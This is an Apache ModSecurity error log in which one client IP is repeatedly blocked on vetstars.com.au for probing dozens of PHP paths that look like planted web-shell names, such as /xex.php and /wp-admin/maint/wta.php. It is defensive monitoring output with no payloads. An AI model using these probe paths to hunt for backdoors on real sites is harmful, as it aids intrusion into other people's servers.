[Fri Mar 27 18:47:16.896514 2026] [:error] [pid 27749:tid 27792] [client 51.103.152.71:26740] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "acZgNMEqyoMni2Q6_X7lbAAAAEE"]
[Fri Mar 27 18:47:17.444802 2026] [:error] [pid 27743:tid 27769] [client 51.103.152.71:18680] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lanou.php"] [unique_id "acZgNSA46UYYLqzw99C8kAAAAAU"]
[Fri Mar 27 18:47:18.605144 2026] [:error] [pid 4293:tid 4302] [client 51.103.152.71:23968] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lanou.php"] [unique_id "acZgNpLjeJUC3OKtEx9NCAAAAUc"]
[Fri Mar 27 18:47:19.317349 2026] [:error] [pid 27750:tid 27838] [client 51.103.152.71:61218] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lanou.php"] [unique_id "acZgN4aSil5rd17ieLzicgAAAJQ"]
[Fri Mar 27 18:47:20.536485 2026] [:error] [pid 27743:tid 27776] [client 51.103.152.71:38391] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lanou.php"] [unique_id "acZgOCA46UYYLqzw99C8kwAAAAw"]
[Fri Mar 27 18:47:21.608590 2026] [:error] [pid 4293:tid 4315] [client 51.103.152.71:26699] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eursi.php"] [unique_id "acZgOZLjeJUC3OKtEx9NFgAAAVQ"]
[Fri Mar 27 18:47:22.378168 2026] [:error] [pid 4293:tid 4310] [client 51.103.152.71:26725] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eursi.php"] [unique_id "acZgOpLjeJUC3OKtEx9NHQAAAU8"]
[Fri Mar 27 18:47:23.176734 2026] [:error] [pid 4341:tid 4347] [client 51.103.152.71:61234] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eursi.php"] [unique_id "acZgO-KJWrNB5dMlERGFBwAAAYQ"]
[Fri Mar 27 18:47:24.554815 2026] [:error] [pid 4293:tid 4300] [client 51.103.152.71:26718] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eursi.php"] [unique_id "acZgPJLjeJUC3OKtEx9NKwAAAUU"]
[Fri Mar 27 18:47:26.727307 2026] [:error] [pid 27750:tid 27833] [client 51.103.152.71:31176] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pas2.php"] [unique_id "acZgPoaSil5rd17ieLzidgAAAI8"]
[Fri Mar 27 18:47:28.787431 2026] [:error] [pid 27750:tid 27832] [client 51.103.152.71:11232] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pas2.php"] [unique_id "acZgQIaSil5rd17ieLzieQAAAI4"]
[Fri Mar 27 18:47:30.288551 2026] [:error] [pid 27750:tid 27820] [client 51.103.152.71:22522] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pas2.php"] [unique_id "acZgQoaSil5rd17ieLzifgAAAII"]
[Fri Mar 27 18:47:32.781490 2026] [:error] [pid 4341:tid 4365] [client 51.103.152.71:11215] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pas2.php"] [unique_id "acZgROKJWrNB5dMlERGFEwAAAZY"]
[Fri Mar 27 18:47:34.317354 2026] [:error] [pid 27743:tid 27785] [client 51.103.152.71:19395] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/schal.php"] [unique_id "acZgRiA46UYYLqzw99C8sgAAABU"]
[Fri Mar 27 18:47:35.489657 2026] [:error] [pid 27750:tid 27828] [client 51.103.152.71:28461] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/schal.php"] [unique_id "acZgR4aSil5rd17ieLziggAAAIo"]
[Fri Mar 27 18:47:36.541942 2026] [:error] [pid 27750:tid 27838] [client 51.103.152.71:15542] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/schal.php"] [unique_id "acZgSIaSil5rd17ieLziiAAAAJQ"]
[Fri Mar 27 18:47:37.641309 2026] [:error] [pid 4341:tid 4343] [client 51.103.152.71:3569] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/schal.php"] [unique_id "acZgSeKJWrNB5dMlERGFGgAAAYA"]
[Fri Mar 27 18:47:38.798848 2026] [:error] [pid 27750:tid 27834] [client 51.103.152.71:22451] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xex.php"] [unique_id "acZgSoaSil5rd17ieLzijwAAAJA"]
[Fri Mar 27 18:47:40.493792 2026] [:error] [pid 4341:tid 4348] [client 51.103.152.71:3170] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xex.php"] [unique_id "acZgTOKJWrNB5dMlERGFIgAAAYU"]
[Fri Mar 27 18:47:41.430931 2026] [:error] [pid 27743:tid 27776] [client 51.103.152.71:3500] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xex.php"] [unique_id "acZgTSA46UYYLqzw99C8xwAAAAw"]
[Fri Mar 27 18:47:45.654314 2026] [:error] [pid 27851:tid 27870] [client 51.103.152.71:36383] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xex.php"] [unique_id "acZgUXR2ccxe3RMCLbrdXAAAAMw"]
[Fri Mar 27 18:47:47.046567 2026] [:error] [pid 27851:tid 27862] [client 51.103.152.71:25031] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acZgU3R2ccxe3RMCLbrdXwAAAMQ"]
[Fri Mar 27 18:47:49.045134 2026] [:error] [pid 4341:tid 4346] [client 51.103.152.71:3163] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acZgVeKJWrNB5dMlERGFMgAAAYM"]
[Fri Mar 27 18:47:50.010562 2026] [:error] [pid 27851:tid 27873] [client 51.103.152.71:25026] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acZgVnR2ccxe3RMCLbrdYwAAAM8"]
[Fri Mar 27 18:47:53.191781 2026] [:error] [pid 4341:tid 4349] [client 51.103.152.71:60724] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acZgWeKJWrNB5dMlERGFPgAAAYY"]
[Fri Mar 27 18:47:56.466598 2026] [:error] [pid 4293:tid 4308] [client 51.103.152.71:34486] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/dtyh.php"] [unique_id "acZgXJLjeJUC3OKtEx9NlQAAAU0"]
[Fri Mar 27 18:47:58.446293 2026] [:error] [pid 4293:tid 4313] [client 51.103.152.71:27493] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/dtyh.php"] [unique_id "acZgXpLjeJUC3OKtEx9NnAAAAVI"]
[Fri Mar 27 18:48:02.518396 2026] [:error] [pid 63897:tid 63903] [client 51.103.152.71:8457] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/dtyh.php"] [unique_id "acZgYmVSkmYmLu7ycYg4SwAAAQQ"]
[Fri Mar 27 18:48:03.919118 2026] [:error] [pid 4341:tid 4355] [client 51.103.152.71:8506] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/dtyh.php"] [unique_id "acZgY-KJWrNB5dMlERGFZAAAAYw"]
[Fri Mar 27 18:49:20.124290 2026] [:error] [pid 63897:tid 63922] [client 51.103.152.71:22819] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "acZgsGVSkmYmLu7ycYg4vAAAARc"]
[Fri Mar 27 18:49:22.042796 2026] [:error] [pid 4293:tid 4315] [client 51.103.152.71:22794] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "acZgspLjeJUC3OKtEx9OYQAAAVQ"]
[Fri Mar 27 18:49:23.945320 2026] [:error] [pid 4293:tid 4297] [client 51.103.152.71:22838] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "acZgs5LjeJUC3OKtEx9OaAAAAUI"]
[Fri Mar 27 18:49:25.884253 2026] [:error] [pid 4341:tid 4365] [client 51.103.152.71:28494] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "acZgteKJWrNB5dMlERGF1QAAAZY"]
[Fri Mar 27 18:49:26.773124 2026] [:error] [pid 4293:tid 4308] [client 51.103.152.71:22813] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acZgtpLjeJUC3OKtEx9OegAAAU0"]
[Fri Mar 27 18:49:28.374755 2026] [:error] [pid 27851:tid 27859] [client 51.103.152.71:11590] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acZguHR2ccxe3RMCLbrdtwAAAME"]
[Fri Mar 27 18:49:29.241351 2026] [:error] [pid 4341:tid 4364] [client 51.103.152.71:22829] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acZgueKJWrNB5dMlERGF2gAAAZU"]
[Fri Mar 27 18:49:30.451147 2026] [:error] [pid 27851:tid 27867] [client 51.103.152.71:29272] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "acZgunR2ccxe3RMCLbrdvQAAAMk"]
[Fri Mar 27 18:49:32.096966 2026] [:error] [pid 27851:tid 27881] [client 51.103.152.71:37683] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acZgvHR2ccxe3RMCLbrdwwAAANc"]
[Fri Mar 27 18:49:33.514867 2026] [:error] [pid 27749:tid 27800] [client 51.103.152.71:22802] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acZgvcEqyoMni2Q6_X7lwwAAAEk"]
[Fri Mar 27 18:49:34.887854 2026] [:error] [pid 4293:tid 4311] [client 51.103.152.71:8848] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acZgvpLjeJUC3OKtEx9OhwAAAVA"]
[Fri Mar 27 18:49:36.534217 2026] [:error] [pid 4341:tid 4345] [client 51.103.152.71:15941] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acZgwOKJWrNB5dMlERGF9wAAAYI"]
[Fri Mar 27 18:49:37.783903 2026] [:error] [pid 27743:tid 27784] [client 51.103.152.71:23277] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utky.php"] [unique_id "acZgwSA46UYYLqzw99C9uAAAABQ"]
[Fri Mar 27 18:49:39.482924 2026] [:error] [pid 4341:tid 4362] [client 51.103.152.71:37661] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utky.php"] [unique_id "acZgw-KJWrNB5dMlERGGAAAAAZM"]
[Fri Mar 27 18:49:41.038662 2026] [:error] [pid 27743:tid 27788] [client 51.103.152.71:29249] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utky.php"] [unique_id "acZgxSA46UYYLqzw99C9xwAAABg"]
[Fri Mar 27 18:49:41.997469 2026] [:error] [pid 27743:tid 27787] [client 51.103.152.71:59950] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utky.php"] [unique_id "acZgxSA46UYYLqzw99C9ygAAABc"]
[Fri Mar 27 18:49:42.802129 2026] [:error] [pid 27743:tid 27781] [client 51.103.152.71:25418] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acZgxiA46UYYLqzw99C9zQAAABE"]
[Fri Mar 27 18:49:43.510056 2026] [:error] [pid 27743:tid 27765] [client 51.103.152.71:25773] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acZgxyA46UYYLqzw99C90gAAAAE"]
[Fri Mar 27 18:49:45.368478 2026] [:error] [pid 4341:tid 4347] [client 51.103.152.71:25739] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acZgyeKJWrNB5dMlERGGEAAAAYQ"]
[Fri Mar 27 18:49:47.273794 2026] [:error] [pid 4341:tid 4351] [client 51.103.152.71:19728] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acZgy-KJWrNB5dMlERGGIQAAAYg"]
[Fri Mar 27 18:49:48.497920 2026] [:error] [pid 27743:tid 27776] [client 51.103.152.71:59934] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "acZgzCA46UYYLqzw99C96AAAAAw"]
[Fri Mar 27 18:49:49.585298 2026] [:error] [pid 63897:tid 63900] [client 51.103.152.71:59935] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "acZgzWVSkmYmLu7ycYg43gAAAQE"]
[Fri Mar 27 18:49:51.661844 2026] [:error] [pid 4293:tid 4298] [client 51.103.152.71:15958] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "acZgz5LjeJUC3OKtEx9OqwAAAUM"]
[Fri Mar 27 18:49:53.205070 2026] [:error] [pid 27743:tid 27785] [client 51.103.152.71:10432] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "acZg0SA46UYYLqzw99C99wAAABU"]
[Fri Mar 27 18:49:54.714712 2026] [:error] [pid 4293:tid 4315] [client 51.103.152.71:14833] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acZg0pLjeJUC3OKtEx9OtQAAAVQ"]
[Fri Mar 27 18:49:55.933209 2026] [:error] [pid 4293:tid 4297] [client 51.103.152.71:21711] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acZg05LjeJUC3OKtEx9OugAAAUI"]
[Fri Mar 27 18:49:56.881453 2026] [:error] [pid 4341:tid 4357] [client 51.103.152.71:26156] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acZg1OKJWrNB5dMlERGGRwAAAY4"]
